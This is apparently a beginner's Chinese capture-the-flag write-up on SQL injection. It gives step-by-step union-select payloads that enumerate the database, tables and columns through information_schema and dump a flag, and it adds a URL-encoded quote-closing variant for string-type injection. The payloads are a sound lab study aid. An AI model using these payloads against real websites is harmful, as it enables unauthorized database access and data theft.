纯新人
直接开题
提示输入1
出现sql语句
直接顺推id=1 2 3往后推
在3时发现无回显
然后联合查询爆库名
id=3 union select 1,database()
爆表名
id=3 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'
得到flag和news我们要的是flag
接着爆字段名
id=3 union select 1,group_concat(column_name) from information_schema.columns where table_name='flag'
最后爆flag字段
id=3 union select 1,group_concat(flag) from sqli.flag
ctfhub{717fbc167b220002f6202f67}
完结撒花~
字符型注入
字符型注入和整型一样只是在整数后加一个 ’ (%27)进行闭合操作和用 #(%23) 注释掉原本的单引号
格式
id=1%27 union select 1,database() %23
注意#号必须用url编码%23